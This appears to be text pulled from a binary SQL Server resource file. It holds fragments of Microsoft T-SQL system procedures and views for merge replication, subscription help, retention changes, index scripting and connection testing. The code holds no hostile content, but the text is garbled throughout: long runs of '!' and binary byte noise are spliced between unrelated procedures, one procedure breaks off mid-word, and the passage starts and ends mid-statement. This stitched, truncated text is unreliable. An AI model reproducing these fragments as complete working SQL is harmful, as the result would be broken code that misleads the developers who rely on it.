    VALUES (@subscriber, @subscriber_db, @pubid, 0, 
            @subid, @subnickname, newid(), @inactive, @subscriber_typeid, @subscription_typeid,
            @sync_typeid, @description, @subscription_priority, 90)
    if @@ERROR <> 0 goto FAILURE
            
    /*
    **  Add row for subscription in dbo.MSmerge_replinfo.
    */
    insert dbo.MSmerge_replinfo(repid, login_name)
            values (@subid, suser_sname(suser_sid()))
    if @@ERROR <> 0 goto FAILURE


    /* Generate a new replica nickname from the @pubid */
    execute @retcode = sys.sp_MSgenreplnickname 
                            @srcguid= @pubid, 
                            @replnick= @pubnickname output, 
                            @compatlevel= @backward_comp_level
    IF @@ERROR <>0 OR @retcode <> 0
    BEGIN
        RAISERROR (20077, 16, -1)
        goto FAILURE
    END

    /* Add a self-subscribed subscription to represent the publication */
    if not exists (select * from dbo.sysmergepublications where pubid = @pubid)
    begin
        insert dbo.sysmergepublications(publisher, publisher_db, pubid, name, parentid, backward_comp_level, distributor) 
            values(@publisher, @publisher_db, @pubid, @publication, @parentid, @backward_comp_level, @publisher)
    end
    if @@ERROR <> 0 goto FAILURE

    if not exists (select * from dbo.sysmergesubscriptions where pubid = @pubid and subid = pubid)
    begin
        INSERT dbo.sysmergesubscriptions (subscriber_server, db_name, pubid, datasource_type,
                subid, replnickname, replicastate, status, subscriber_type, subscription_type,
                sync_type, description, priority, replica_version)
        VALUES (@publisher, @publisher_db, @pubid, 0, 
                @pubid, @pubnickname, newid(), @inactive, @global, @push,
                @sync_typeid, @description, 100.0, 90)
    end
    if @@ERROR <> 0 goto FAILURE


    /*
    **  Add row for merge publication to dbo.MSmerge_replinfo.
    */
    insert dbo.MSmerge_replinfo(repid, login_name)
        values (@pubid, suser_sname(suser_sid()))
    if @@ERROR <> 0 goto FAILURE


    COMMIT TRAN
    return (0)

FAILURE:
    RAISERROR (14057, 16, -1)
    if @@trancount > 0
    begin
        ROLLBACK TRANSACTION addmergepullsubscription
        COMMIT TRANSACTION
    end
    RETURN (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(S*vb
create procedure sys.sp_changemergepullsubscription (
    @publication         sysname = '%',    /* Publication name */
    @publisher            sysname = '%',  /* Publisher server */
    @publisher_db        sysname = '%',     /* Publication database */
    @property             sysname = NULL, /* The property to change */
    @value                 nvarchar(255) = NULL    /* The new property value */
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @subscriber_srvid         int
    declare @retcode                 int
    declare    @pubid                     uniqueidentifier
    declare    @subid                     uniqueidentifier
    declare @sync_typeid             tinyint
    declare @nosync                 tinyint
    declare @automatic                 tinyint
     
    declare @artid                    uniqueidentifier
    declare @subscriber                sysname
    declare @subscriber_db            sysname
    declare @schematype                int
    declare @schemaversion            int
    declare @schemaguid                uniqueidentifier
    declare @db_name                sysname
    declare @subscriber_type        int
    declare @schematext                nvarchar(2000)
    declare @use_interactive_bit    bit
    declare @use_interactive_int    int
    declare @enabled_for_syncmgr    int
    declare @regkey                    nvarchar(1000)
    declare @snapshot_ready            int
    declare @SCHEMA_TYPE_PRIORITYCHANGE int

    set @SCHEMA_TYPE_PRIORITYCHANGE= 8
    SET @subscriber     = @@SERVERNAME
    SET @subscriber_db    = DB_NAME()
    SET @nosync         = 2     /* Const: synchronization type 'none' */
    SET @automatic         = 1     /* Const: synchronization type 'automatic' */

    /*
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)


    /*
    **    Check to see if current database is enabled for subscribing
    */
    IF object_id('sysmergesubscriptions') is NULL
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END


    /*
    ** Parameter Check:  @property.
    ** If the @property parameter is NULL, print the options.
    */

    IF @property IS NULL
        BEGIN
            CREATE TABLE #tab1 (properties sysname collate database_default not null)
            INSERT INTO #tab1 VALUES ('sync_type')
            INSERT INTO #tab1 VALUES ('priority')
            INSERT INTO #tab1 VALUES ('description') 
            INSERT INTO #tab1 VALUES ('use_interactive_resolver')             
            -- Properties delegated to sp_change_subscription_properties
            INSERT INTO #tab1 VALUES ('publisher_login')
            INSERT INTO #tab1 VALUES ('publisher_password')
            INSERT INTO #tab1 VALUES ('publisher_security_mode')
            INSERT INTO #tab1 VALUES ('distributor')
            INSERT INTO #tab1 VALUES ('distributor_login')
            INSERT INTO #tab1 VALUES ('distributor_password')
            INSERT INTO #tab1 VALUES ('distributor_security_mode')
            INSERT INTO #tab1 VALUES ('ftp_address')
            INSERT INTO #tab1 VALUES ('ftp_port')
            INSERT INTO #tab1 VALUES ('ftp_login')
            INSERT INTO #tab1 VALUES ('ftp_password')
            INSERT INTO #tab1 VALUES ('alt_snapshot_folder')
            INSERT INTO #tab1 VALUES ('working_directory')
            INSERT INTO #tab1 VALUES ('use_ftp')
            INSERT INTO #tab1 VALUES ('dynamic_snapshot_location')
            INSERT INTO #tab1 VALUES ('use_web_sync')
            INSERT INTO #tab1 VALUES ('internet_url')
            INSERT INTO #tab1 VALUES ('internet_login')
            INSERT INTO #tab1 VALUES ('internet_password')
            INSERT INTO #tab1 VALUES ('internet_security_mode')
            INSERT INTO #tab1 VALUES ('internet_timeout')
            INSERT INTO #tab1 VALUES ('hostname')
            INSERT INTO #tab1 VALUES ('merge_job_login')
            INSERT INTO #tab1 VALUES ('merge_job_password')
            select * FROM #tab1
            RETURN (0)
        END

    /*
    ** Parameter Check:  @publisher.
    ** Check to make sure we have a valid publisher.
    ** Should make sure that @publisher is non-null before using it to check whether @publication is valid
    */
    IF @publisher IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publisher', 'sp_changemergepullsubscription')
            RETURN (1)
        END

    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_changemergepullsubscription')
            RETURN (1)
        END

    select @pubid = pubid FROM dbo.sysmergepublications WHERE name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db
    IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 11, -1, @publication)
            RETURN (1)
        END

    
    /*
    ** Check to see if you have any subscription to this publication
    */
    set @subid = NULL
    select @subid = subid from dbo.sysmergesubscriptions 
        where pubid = @pubid and subid <> @pubid and 
        UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default and
        db_name = @subscriber_db
    if @subid IS NULL 
    begin
        RAISERROR (14050, 11, -1)
        RETURN(1)
    end                 


    /*
    ** Parameter Check:  @property.
    ** Check to make sure that @property is a valid property in
    ** a merge pull subscription.
    */

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) NOT IN 
                               ('sync_type', 
                                'priority', 
                                'description',
                                'publisher_login',
                                'publisher_password',
                                'publisher_security_mode',
                                'distributor',
                                'distributor_login',
                                'distributor_password',
                                'distributor_security_mode',
                                'ftp_address',
                                'ftp_port',
                                'ftp_login',
                                'ftp_password',
                                'alt_snapshot_folder',
                                'working_directory',
                                'use_ftp',
                                'use_interactive_resolver',
                                'offload_agent',
                                'offload_server',
                                'dynamic_snapshot_location',
                                'use_web_sync',
                                'internet_url',
                                'internet_login',
                                'internet_password',
                                'internet_security_mode',
                                'internet_timeout',
                                'hostname',
                                'merge_job_login',
                                'merge_job_password')
        BEGIN
            RAISERROR (21348, 16, -1, @property)
            RETURN (1)
        END

    /*
    ** Change the property.
    */
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'sync_type'
        BEGIN

            /*
            ** Check to make sure that we have a valid sync_type.
            */

            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('automatic', 'none')
                BEGIN
                    RAISERROR (14052, 16, -1)
                    RETURN (1)
                END

            /*
            ** De!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<3<־`02 8
create procedure sys.sp_helppullsubscription 
(
    @publisher sysname = N'%',
    @publisher_db sysname = N'%',
    @publication sysname = N'%',
    @show_push nvarchar(5) = N'false'
) 
AS
begin
    SET NOCOUNT ON

    -- Declarations.
    DECLARE @command nvarchar(255)
                ,@name nvarchar(255)
                ,@retcode int
                ,@show_push_bit bit
                ,@push int
                ,@subscriber            sysname
                ,@subscriber_db        sysname
                ,@publisher_local    sysname
                ,@publisher_db_local    sysname
                ,@publication_local    sysname
                ,@subscription_name     nvarchar(1000)
                ,@regkey                nvarchar(1000)
                ,@syncmgr_keyexist                int
                ,@helpsubscriptioncursor_open    int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
        return 1

    -- For attach
    if object_id(N'dbo.MSrepl_restore_stage') is not null
        -- The database is attached from a subscription copy file without using
        -- sp_attachsubscription. Return nothing
        return 0
    --
    -- Initializations.
    --
    select @subscriber = @@SERVERNAME     
            ,@subscriber_db = DB_NAME()
            ,@push = 0
    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is define
    */
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_helppullsubscription')
        RETURN (1)
    END

    IF @publisher <> N'%' 
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
               RETURN (1)
    END

    IF @publication <> N'%' 
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publication
        IF @@ERROR <> 0 OR @retcode <> 0
               RETURN (1)
    END

    IF @show_push IS NOT NULL AND 
        LOWER(@show_push) NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@show_push')
        RETURN (1)
    END
    SELECT @show_push_bit = case when (LOWER(@show_push) = N'false') then 0 else 1 end

    IF object_id('MSreplication_subscriptions','U') is NULL 
                OR object_id('MSsubscription_properties','U') is NULL
                OR object_id('MSsubscription_agents','U') is NULL
        RETURN (0)                
    /*
    ** Get the result
    ** Note: have to return meta data
    */
    SELECT  'publisher'                = rs.publisher,
        'publisher database'    = rs.publisher_db,
        'publication'            = rs.publication,
        'independent_agent'        = rs.independent_agent,
        'subscription type'     = rs.subscription_type,
        'distribution agent'    = distribution_agent,
        'publication description'   = rs.description,
        'last updating time'        = sys.fn_replformatdatetime(time),
        'subscription_name'          = rs.publisher + N':' + rs.publisher_db + N':' + rs.publication,
        'last transaction timestamp' = transaction_timestamp,
        -- SyncTran
        -- For Queued case, Until the subscription is initialized
        -- the entry in MSreplication_subscriptions will be used to
        -- decide the update mode. Once the distribution agent has 
        -- initialized the entry in MSsubscription_agents, then we
        -- will use failover_mode instead (the update mode entry in 
        -- MSreplication_subscriptions will be changed by distribution
        -- agent) 
        -- 
        -- When update mode = 6 - Queued Failover (4)
        -- When update mode = 4 - Queued only (2)
        -- When update mode = 5 and Failover flag = 0 - Immediate Failover (3)
        -- When update mode = 5 and Failover flag = 1 - Queued Failover (4)
        --
        'update_mode'         = case     
                        when rs.update_mode = 4 then 2
                        when rs.update_mode = 6 then 4
                        when rs.update_mode = 5 and isnull(a.failover_mode,0) = 0 then 3
                        when rs.update_mode = 5 and isnull(a.failover_mode,0) = 1 then 4
                        else rs.update_mode
                end,
        'distribution agent job_id' = agent_id,
        'enabled for syncmgr' = enabled_for_syncmgr,
        'subscription guid' = subscription_guid,
        'subid ' = subid,
        'immediate_sync' = immediate_sync,
        'publisher_login' = publisher_login,
        'publisher_password' = publisher_password,
        'publisher_security_mode' = publisher_security_mode,
        'distributor' = distributor,
        'distributor_login' = distributor_login,
        'distributor_password' = distributor_password,
        'distributor_security_mode' = distributor_security_mode,
        'ftp_address' = ftp_address,
        'ftp_port' = ftp_port,
        'ftp_login' = ftp_login,
        'ftp_password' = ftp_password,
        'alt_snapshot_folder' = alt_snapshot_folder,
        'working_directory' = working_directory,
        'use_ftp' = use_ftp,
        'publication_type' = publication_type,
        'dts_package_name' = dts_package_name,
        'dts_package_location' = dts_package_location,
        'offload_agent' = offload_agent,
        'offload_server' = offload_server,
        a.last_sync_status, 
        a.last_sync_summary,
        'last_sync_time' = sys.fn_replformatdatetime(a.last_sync_time),
        'job_login' = sc.credential_identity,
        'job_password' = N'**********'
    from MSreplication_subscriptions rs
        left outer join MSsubscription_properties sp 
            on (UPPER(rs.publisher) = UPPER(sp.publisher) and rs.publisher_db = sp.publisher_db and rs.publication = sp.publication) 
        left outer join MSsubscription_agents a
            on (UPPER(rs.publisher) = UPPER(a.publisher) and 
                rs.publisher_db = a.publisher_db and 
                ((rs.publication = a.publication and 
                rs.independent_agent = 1 and
                a.publication <> N'ALL') or
                (a.publication = N'ALL' and rs.independent_agent = 0)) and
                rs.subscription_type = a.subscription_type)
        left outer join msdb..sysjobsteps sj
            on sp.job_step_uid = sj.step_uid
        left outer join msdb..sysproxies p
            on sj.proxy_id = p.proxy_id
        left join sys.credentials sc
            on p.credential_id = sc.credential_id
    where ((@publisher = N'%') OR (UPPER(rs.publisher) = UPPER(@publisher))) AND
        ((@publisher_db = N'%') OR (rs.publisher_db = @publisher_db)) AND
        ((@publication = N'ALL' AND rs.independent_agent = 0) OR rs.publication LIKE @publication) AND
        (rs.subscription_type <> @push OR
        @show_push_bit = 1)
    ORDER BY rs.publisher, rs.publisher_db, rs.publication
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`C
<1K0G@ 8
-- add it
create view sys.dm_pdw_waits as
select
	wait_id,
	session_id	collate database_default session_id,
	type	collate database_default type,
	object_type	collate database_default object_type,
	object_name	collate database_default object_name,
	request_id	collate database_default request_id,
	request_time,
	acquire_time,
	state	collate database_default state,
	priority
from sys._dm_pdw_waits
0ȯ 8
create procedure sys.sp_indexes_100_rowset2
(
    @index_name     sysname = null,
    @table_schema   sysname = null   
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED,
        STATUS              = s_iv.STATUS

    from
        sys.spt_indexes_view_100 s_iv

    where
        (@table_schema is null or schema_id(@table_schema) = s_iv.SCHEMA_ID) and
        (@index_name is null   or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
0 8 
-- add it
create view sys.dm_pdw_nodes_os_sys_memory as
select *, convert(int, null) pdw_node_id from sys.dm_os_sys_memory
076@ 
8
create procedure sys.sp_MSchange_retention (@pubid uniqueidentifier, @value nvarchar(255))
as
    declare @re_pubid            uniqueidentifier 
    declare @artid                uniqueidentifier
    declare @schemaversion      int 
    declare @schemaguid         uniqueidentifier
    declare @schematype         int
    declare @schematext         nvarchar(2000)
    declare @retcode            int
    declare @SCHEMA_TYPE_RETENTIONCHANGE int

    -- Security check
    exec @retcode = dbo.sp_MSreplcheck_subscribe
    if @retcode <> 0 or @@error <> 0
        return 1

    set @SCHEMA_TYPE_RETENTIONCHANGE= 9
    
    begin tran
    save tran change_retention

    update dbo.sysmergepublications set retention = convert(int, @value) where pubid = @pubid
    if @@ERROR<>0
        goto UNDO
        
    -- Declare a cursor that iterates over all publications which originate at this node.
    declare #change_retention CURSOR LOCAL FAST_FORWARD for 
        select pubid from dbo.sysmergearticles 
            where pubid<>@pubid and 
                  nickname in (select nickname from dbo.sysmergearticles where pubid=@pubid) and
                  pubid in (select pubid from dbo.sysmergepublications 
                                  where upper(publisher) collate database_default = upper(publishingservername()) collate database_default and
                                        publisher_db = db_name())

    open #change_retention
    fetch #change_retention into @re_pubid
    while (@@fetch_status <> -1)
    BEGIN
        update dbo.sysmergepublications set retention = convert(int, @value) where pubid = @re_pubid
        if @@ERROR<>0
            goto UNDO
        set @schematype= @SCHEMA_TYPE_RETENTIONCHANGE
        set @artid = null
        select @schematext = 'exec dbo.sp_MSchange_retention '+ '''' + convert(nchar(36),@re_pubid) + '''' + ',' + '''' + @value + ''''          
        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange        
        set @schemaguid = newid()
        exec @retcode=sys.sp_MSinsertschemachange @re_pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 
            goto UNDO
        fetch #change_retention into @re_pubid
    END
    close #change_retention
    deallocate #change_retention
    
    COMMIT TRAN
    return (0)
UNDO:
    ROLLBACK tran change_retention
    COMMIT TRAN
    return(1)
07o/@ !8
--
-- Name:    
--          sp_IHScriptIdxFile
--          
-- Description: 
--          Script snaphot IDX file contents
--  
-- Security: 
--          Public (for use by snapshot agent)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) with commands
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHScriptIdxFile
(
	@article_id int
)
AS
BEGIN
	DECLARE @retcode			int
	DECLARE @scriptConstraints	bit
    DECLARE @schemaOption		int
    DECLARE @pubtype			int
    DECLARE @useClustered		bit
    DECLARE @useUnique			bit

	SET NOCOUNT ON 

	-- security check, db_owner
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	-- create temp table for command fragments
	create table #proctext
	(
		seq				int identity NOT NULL,
		procedure_text	nvarchar(4000) collate database_default
	)

	-- Get article/publication info
	SELECT	@schemaOption = CONVERT(INT, fn_replprepadbinary8(iha.schema_option)),
			@pubtype = ihp.repl_freq
	FROM	dbo.IHarticles iha,
			dbo.IHpublications ihp
	WHERE	ihp.pubid = iha.publication_id
	  AND	iha.article_id = @article_id

	-- Decide if CLUSTERED PK is requested
	IF ((@schemaOption & 0x10) <> 0)
	BEGIN
		SET @useClustered = 1
	END
	ELSE
	BEGIN
		SET @useClustered = 0
	END
	
	-- Script constraints
	-- Check to see if 0x8000 set for ALTER TABLE syntax
	IF ((@schemaOption & 0x8000) <> 0)
	BEGIN
		-- Script primary key constraints
		-- Check to see if 0x80 set for PRIMARY KEY replication
		IF (((@schemaOption & 0x80) <> 0) OR (@pubtype = 0))
		BEGIN
			-- Generate primary key constraints
			exec @retcode = sys.sp_IHscriptprimarykey
								@article_id		= @article_id,
								@useAlterTable	= 1,
								@useClustered	= @useClustered

			IF @retcode != 0 OR @@ERROR != 0
			BEGIN
				SET @retcode = 1
				GOTO RETURNSCRIPT
			END
		END
	END
    
	-- Script non-clustered indexes
	-- Check to see if 0x40 for NON-CLUSTERED INDEXES
	IF ((@schemaOption & 0x40) <> 0)
	BEGIN
		IF (((@schemaOption & 0x4000) <> 0) AND (@schemaOption & 0x8000) <> 0)
		BEGIN
			-- Script UNIQUE as constraints if ALTER TABLE is used
			SET @useUnique = 1
		END
		ELSE
		BEGIN
			-- Don't script UNIQUE since they would have been
			-- scripted as constraints
			SET @useUnique = 0
		END


		-- Generate indexes
		exec @retcode = sys.sp_IHscriptindexes
							@article_id		= @article_id,
							@useAlterTable	= 1,
							@useUnique		= @useUnique

		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			SET @retcode = 1
			GOTO RETURNSCRIPT
		END
	END

RETURNSCRIPT:
	-- Return script fragments
	select	procedure_text
	from	#proctext
	order by seq asc
		
	drop table #proctext

	RETURN @retcode
END
0
@ P8~h,	>-	\.	0, D8h8

#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]	X`	<L
Y0M {8CREATE VIEW sys.dm_broker_connections AS
    SELECT 
	    connection_id,
	    transport_stream_id,
	    state,
	    state_desc = sn.name,
	    connect_time,
	    login_time,
	    authentication_method,
	    principal_name,
	    remote_user_name,
	    last_activity_time,
	    is_accept,
	    login_state,
	    login_state_desc = ln.name,
	    peer_certificate_id,
	    encryption_algorithm = encalg,
	    encryption_algorithm_desc = ag.name,
	    receives_posted,
	    is_receive_flow_controlled,
	    sends_posted,
	    is_send_flow_controlled,
	    total_bytes_sent,
	    total_bytes_received,
	    total_fragments_sent,
	    total_fragments_received,
	    total_sends,
	    total_receives,
	    peer_arbitration_id
    FROM OpenRowset (TABLE SBCONNECTIONENDPOINTS) as c
    LEFT OUTER JOIN sys.syspalvalues ag ON ag.class = 'EPET' AND ag.value = c.encalg
    LEFT OUTER JOIN sys.syspalvalues sn ON sn.class = 'EPCS' AND sn.value = c.state
    LEFT OUTER JOIN sys.syspalvalues ln ON ln.class = 'EPLS' AND ln.value = c.login_state
        WHERE c.endpoint_type = 0 -- x_eetBroker
0t 8create function sys.fn_generateparameterpattern(
    @parameter nvarchar(200)
    ) returns nvarchar(806)
begin
    declare @pattern          nvarchar(806)
    declare @parameter_length int
    declare @i                int
    declare @c                nvarchar(1)

    select @pattern = N'%[-/]'
    select @i = 1
    select @parameter_length = len(@parameter)
    
    while @i <= @parameter_length
    begin
    select @c = substring(@parameter, @i, 1)        
    select @pattern = @pattern + N'[' + upper(@c collate SQL_Latin1_General_CP1_CS_AS) + lower(@c collate SQL_Latin1_General_CP1_CS_AS) + N']'
        select @i = @i + 1
    end 
    select @pattern = @pattern + '%'
    return @pattern
end
0Ռ@ 
8
CREATE PROCEDURE sys.sp_MSrepl_testconnection
(
	@publisher_type		sysname,
	@publisher			sysname,
	@security_mode		bit = 0,
	@login				sysname = null,
	@password			sysname = null,
	@connect_timeout	int = 60
)
AS
BEGIN
	SET ANSI_WARNINGS ON
	
	DECLARE	@cmd		nvarchar(MAX)
	DECLARE	@p1			int
	DECLARE	@retcode	int
	DECLARE @provider   sysname
	DECLARE @type		sysname

	-------- security check, db_owner
	EXEC @retcode =	dbo.sp_MSreplcheck_publish
	IF @@ERROR <> 0	or @retcode	<> 0
	BEGIN
		RETURN(1)
	END

	-- Validate	parameters - @security_mode
	IF @security_mode =	0
	BEGIN
	    IF @login IS NULL OR @login = N''
	    BEGIN
	        RAISERROR(7801, 16, -1, 6, N'@login')
	        RETURN (1)
	    END
	    
	    IF @password IS NULL OR @password = N''
	    BEGIN
	        RAISERROR(7801, 16, -1, 9, N'@password')
	        RETURN (1)
	    END
	END

    -- Construct ad-hoc connection string
	IF UPPER(@publisher_type) = N'MSSQLSERVER'
	BEGIN
		SET @cmd =	'SELECT @p1 = 1 FROM OPENDATASOURCE(''SQLOLEDB'', ''Data Source=' +	@publisher +
					CASE
						WHEN @security_mode = 0 THEN
							';User ID=' + sys.fn_replreplacesinglequote(@login) +
							';Password=' + sys.fn_replreplacesinglequote(@password)
						ELSE
							';TRUSTED_CONNECTION=Yes'
					END +
					';Timeout=' + convert(nvarchar(50), @connect_timeout) +
					';'').master.sys.objects'
		
		-- Test connection
		BEGIN TRY
			EXEC @retcode = sp_executesql @cmd, N'@p1 int', @p1 = 1
		END TRY
		BEGIN CATCH
			RAISERROR(21670, 16, -1, @publisher)
			RETURN (1)
		END CATCH
		RETURN (0)
	END
	
	IF UPPER(@publisher_type) LIKE N'ORACLE%'
	BEGIN
		-- Verify that the version of SQL*PLUS that loads through the system path
		-- is from a sufficiently current version of the Oracle client code to
		-- support Oracle publishing.
		EXEC @retcode = sys.sp_MSrepl_verify_oracle_client_version
		IF @retcode != 0 OR @@ERROR != 0
			RETURN (1)				

		-- Get provider type
		EXEC @retcode = sys.sp_IHgetprovider @publisher_type, @provider OUTPUT
	
		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			RETURN (1)
		END

		IF(@provider = N'OraOLEDB.ORACLE')
		BEGIN
			--- Verify that the Oracle provider is registered and that the registered DLL exists
			EXEC @retcode = sys.sp_MSrepl_verify_oracle_provider_isregistered
			IF @retcode != 0 OR @@ERROR != 0
				RETURN (1)				

			--- Fix oracle provider setting to force inproc usage because of oracle bug
			EXEC @retcode = sys.sp_MSrepl_set_oracle_provider_inproc_on64bit
			IF @retcode != 0 OR @@ERROR != 0
				RETURN (1)				
		END

		SET @cmd =	'SELECT @p1 = 1 FROM OPENDATASOURCE(' + QUOTENAME(@provider,'''') + ', ''Data Source=' + sys.fn_replreplacesinglequote(@publisher) +
					';User ID=''''' + sys.fn_replreplacesinglequote(sys.fn_replreplacesinglequote(@login)) +
					''''';Password=''''' + sys.fn_replreplacesinglequote(sys.fn_replreplacesinglequote(@password)) + 
					''''';Timeout=' + convert(nvarchar(50), @connect_timeout) +
					';'')..SYS.DUAL'
					
		-- Test connection 
		BEGIN TRY
			EXEC @retcode = sp_executesql @cmd, N'@p1 int', @p1 = 1
		END TRY
		BEGIN CATCH
			IF(@provider = N'OraOLEDB.ORACLE')
			BEGIN
			    RAISERROR(21626, 16, -1, @publisher)
			END
			ELSE
			BEGIN
			    RAISERROR(21627, 16, -1, @publisher)
			END	

			RETURN (1)
		END CATCH
		
		RETURN (0)
	END	

	-- Invalid publisher type
	RAISERROR(21645, 16, -1, @publisher_type)
	RETURN (1)
END
m sys.objects where name = N'MSdynamicsnapshotviews')
    begin
        declare @dynamic_snapshot_view_name sysname
        declare @drop_view_command nvarchar(4000) 

        declare hViews cursor local fast_forward for
         select dynamic_snapshot_view_name
           from MSdynamicsnapshotviews
        if @@error<>0
